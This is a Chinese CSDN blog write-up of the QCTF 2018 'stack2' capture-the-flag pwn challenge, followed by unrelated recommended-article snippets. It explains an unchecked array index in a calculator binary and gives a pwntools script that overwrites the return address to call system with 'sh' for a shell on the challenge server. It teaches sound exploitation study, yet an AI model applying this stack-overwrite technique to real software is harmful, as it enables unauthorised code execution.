XCTF 4th-QCTF-2018 pwn stack2 writeup_"puts(\"*give me your numbers and i will return to-程序员宅基地

技术标签: CTF 4th-QCTF-2018  writeup  CTF  pwn  stack2  

题目描述:

暂无

分析思路:

1、首先拿到ELF文件,我们首先查看一下详细信息:

tucker@ubuntu:~/pwn$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
tucker@ubuntu:~/pwn$ checksec stack2
[*] '/home/tucker/pwn/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2、我们使用IDA看一下,main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 99 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

我们看到是一个简单地程序,获取输入的值,并进行计算平均值,同时也可以修改之前输入的数组。等等,此处似乎有一个漏洞,这里的修改数值,没有检查边界条件,使得我们可以修改栈中的数据,我们简单实验一下:

tucker@ubuntu:~/pwn$ ./stack2 
***********************************************************
*                      An easy calc                       *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256)                                           *
***********************************************************
How many numbers you have:
1
Give me your numbers
2
1. show numbers
2. add number
3. change number
4. get average
5. exit
3
which number to change:
33
new number:
4
1. show numbers
2. add number
3. change number
4. get average
5. exit
4
average is 2.00
1. show numbers
2. add number
3. change number
4. get average
5. exit
5

可以看到,当我们要修改的值得位置超过输入的边界时 ,仍可以修改,据此,我们可以修改内存中函数的EIP,从而劫持IP,转去执行我们需要的代码。

3、同时在IDA中我们使用shift+f12,可以看到有一个“/bin/bash"字符串,我们追踪发现了一个函数:

.text:0804859B                 public hackhere
.text:0804859B hackhere        proc near
.text:0804859B
.text:0804859B var_C           = dword ptr -0Ch
.text:0804859B
.text:0804859B ; __unwind {
.text:0804859B                 push    ebp
.text:0804859C                 mov     ebp, esp
.text:0804859E                 sub     esp, 18h
.text:080485A1                 mov     eax, large gs:14h
.text:080485A7                 mov     [ebp+var_C], eax
.text:080485AA                 xor     eax, eax
.text:080485AC                 sub     esp, 0Ch
.text:080485AF                 push    offset command  ; "/bin/bash"
.text:080485B4                 call    _system
.text:080485B9                 add     esp, 10h
.text:080485BC                 nop
.text:080485BD                 mov     edx, [ebp+var_C]
.text:080485C0                 xor     edx, large gs:14h
.text:080485C7                 jz      short locret_80485CE
.text:080485C9                 call    ___stack_chk_fail
.text:080485CE ; ---------------------------------------------------------------------------
.text:080485CE
.text:080485CE locret_80485CE:                         ; CODE XREF: hackhere+2C↑j
.text:080485CE                 leave
.text:080485CF                 retn
.text:080485CF ; } // starts at 804859B
.text:080485CF hackhere        endp

这个函数执行一条语句:system("/bin/bash"),因此我们可以想到在上面使用change number 的功能修改栈中的数据,控制程序跳转到hackhere函数。

4、首先我们需要知道数组v13与rip的偏移地址,(注意此处v13的位置为ebp-0x70,但是eip的位置不是在0x70+0x4的位置,因为有canary的保护,需要动态调试进行确定。)首先我们在main函数的开始下一个断点,在retn的地方下一个断点,运行程序,得到起始的ebp为0xFFAE1358,运行到retn,栈顶的位置为:0xFFAE136C,由此得到v13的地址为:0xFFAE1358-0x70 = 0xffae12e8,偏移量为0xFFAE136C - 0xffae12e8 = 0x84。

5、同时我们按照上面的思路,发现并不能正确的得到shell,原来是字符串/bin/bash的问题,由于测试环境的原因,我们需要使用/bin/sh,我们可以通过上面的办法向栈中写入/bin/sh字符串,但是发现每次栈的地址都会变,只得作罢。

因此我们可以利用原来的字符串/bin.bash的第7个字节开始的地址,作为system的参数,将system函数的地址写到栈中覆盖eip

由此我们可以编写exp:

# stack2_1.py

from pwn import *

# a = process('./stack2')
a = remote("111.198.29.45", "56058")

system_addr = 0x8048450

# off_addr = 0x9c
# a.send('1\n1\n3\n156\n80\n3\n157\n132\n3\n158\n4\n3\n159\n8\n5\n')

# a.interactive()

a.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8')

a.sendline('3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')

a.sendline('5')

a.interactive()

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_39596232/article/details/100163173

智能推荐

[STM32F1]如何使用stm32快速建立tcp和udp连接?_stm32 udp-程序员宅基地

文章浏览阅读179次。使用w5500或者esp8266做mqtt的话,还需要自己移植相关的mqtt代码过来,或者下载mqtt的固件才能使用。MQTT是一种轻量级的、基于发布/订阅模式的通讯协议,它能够在带宽有限和延迟敏感的网络环境中提供可靠的消息传输服务。stm32使用NT1-B实现了远程的tcp和UDP的连接。之前都是使用w5500或者esp8266来做网络配置,需要实现的代码比较复杂,而且会占用比较多的内存。W5500的官方SDK通常提供网络协议栈的支持,但MQTT协议的实现可能需要用户自己完成或使用第三方的库。_stm32 udp

golang适合做什么_golang语言适合做什么-程序员宅基地

文章浏览阅读536次。Golang(Go语言)是一种开源的编程语言,由Google开发并于2009年首次发布。作为一门现代化的编程语言,Golang在性能、并发性和可靠性方面具有显著的优势,因此被广泛应用于构建高性能、可伸缩、并发和可靠的服务器端应用程序。本文将深入探讨Golang适合做什么,并介绍它在不同领域的应用。_golang语言适合做什么

如何优化LOG FILE SYNC_log file sync 优化-程序员宅基地

文章浏览阅读617次。在一个提交十分频繁的系统中,我们经常会看到LOG FILE SYNC等待事件排在TOP EVENTS中。这种情况下,我们可能就需要针对LOG FILE SYNC等待事件进行优化了。 首先我们会看一下这个等待事件平均的等待时长,正常情况下这个等待事件的平均等待时间不会超过10毫秒,如果等待时间太长,那说明LOG WRITER每次写入的时间过长,如果能够优化一下REDO LOG文件_log file sync 优化

第一个android程序——贷款计算器-程序员宅基地

文章浏览阅读1k次,点赞2次,收藏12次。第一个android程序比较简单,具体的要求是,编写一个简单的贷款计算器,根据输入的贷款金额、期限和利率,显示每月应还款的金额。要求合理的使用布局进行界面设计,对输入的数据错误使用toast通知机制显示。 &lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;GridLayout ="http://sc..._银行贷款计算器android课设

接口自动化入门:Jmeter的多组数据测试、JDBC驱动及数据断言!-程序员宅基地

文章浏览阅读914次,点赞8次,收藏7次。在进行接口测试时,我们经常需要对接口进行多组数据测试,以验证接口在不同输入条件下的表现。同时,我们也需要对接口返回的数据进行断言,以确保接口返回的数据符合预期结果。JMeter正是一个强大的工具,可以帮助我们实现这些需求。

RuoYi-Vue-Plus(登录流程-验证码生成)_ruoyi-vue-plus百度网盘-程序员宅基地

文章浏览阅读135次。1- 进入登录页面,调用 com.ruoyi.web.controller.common.CaptchaController 类中的captchaImage 方法,2- 提交 登录信息 + 验证码 + uuid 比对错误:返回错误信息,删除缓存的验证码,加入缓存。_ruoyi-vue-plus百度网盘

随便推点

Oracle应用之to_char(参数,'FM990.00')函数-程序员宅基地

文章浏览阅读1w次,点赞5次,收藏13次。遇到一个SQL,记录一下select to_char(参数,'FM990.00') from 表格刚看到FM990.00确实不知道什么意思,通过网上资料,知道了0表示:如果参数(double或者float类型)存在数字就显示数字,不存在数字就显示09表示:如果参数(double或者float类型)存在数字就显示数字,不存在数字就显示空格FM表示:将9带来的空格删除拓展:所以上面例子..._fm990.00

jquery项目转vue_jquery改写成vue-程序员宅基地

文章浏览阅读2.7k次。jquery项目转vue转载文章https://blog.csdn.net/violetjack0808/article/details/51451672,为了方便自己查看,后续加一些自己的总结。(一) jQuery和Vue的区别jQuery是使用选择器 ($) 选取DOM对象,对其进行赋值、取值、事件绑定等操作,其实和原生的HTML的区别只在于可以更方便的选取和操作DOM对象,而数据和界面是在一起的。比如需要获取label标签的内容:$("lable").val();,它还是依赖DOM元素的值。_jquery改写成vue

Centos终端显示-bash-4.2#的解决方法_-bash-4.2#原因及解决方法-程序员宅基地

文章浏览阅读1.5k次。如果登录的不是root用户,那么将上面的文件拷贝到登录用户对应的home目录下:为/home/{用户名}目录。拷贝完成过后,重新进行登录即可。而不是root@主机名 + 路径的显示方式,发生这种情况的原因是根目录下缺失几个配置文件,从默认配置中拷贝过来就可以解决了。登录linux系统过后,突然发现显示的是。_-bash-4.2#原因及解决方法

[Xilinx FPGA] #10 ISE、Vivado、SDK、HLS 错误记录 [持续记录中]_ise执行cleanup project files会删掉io pin planning吗-程序员宅基地

文章浏览阅读1.7k次。这里记录的是,在 ISE、Vivado 与 SDK的日常使用中,笔者遇见过的报错及其解决方法ISE 14.7ISE WARNING:ProjectMgmt - File /*filePath*/ is missing.有可能原因,在建立工程后,修改了工程名或工程中某模块名称等信息,而 ISE 在重新综合编译时会读取上次综合编译的信息。只需将之前综合编译产生的各文件删除,再重新综合编译..._ise执行cleanup project files会删掉io pin planning吗

css cursor鼠标指针光标样式default pointer hand url_cursor:url c++-程序员宅基地

文章浏览阅读1.5k次。Css cursor鼠标指针鼠标光标样式教程篇我们在DIV CSS布局时候,我们会遇到对对象内鼠标指针光标进行控制,比如鼠标经过指针变为手指形状等样式,接下来我们介绍鼠标指针样式cursor控制。系统默认鼠标指针样式外,可以通过CSS设置图片为鼠标指针,常见有些网站鼠标指针是各种各样小图片样式,当然这个是通过css cursor设置鼠标样式。扩展阅读:css指针一、cursor语法_cursor:url c++

Html结构解析-程序员宅基地

文章浏览阅读2.6k次,点赞7次,收藏48次。一、html文档树状图结构  1)html树状图2)html代码解释树形图<!DOCTYPE html> <!--声明--><html lang="en"> <!--html开始--><head> <!--头部开始--> <..._html页面可以解析为什么结构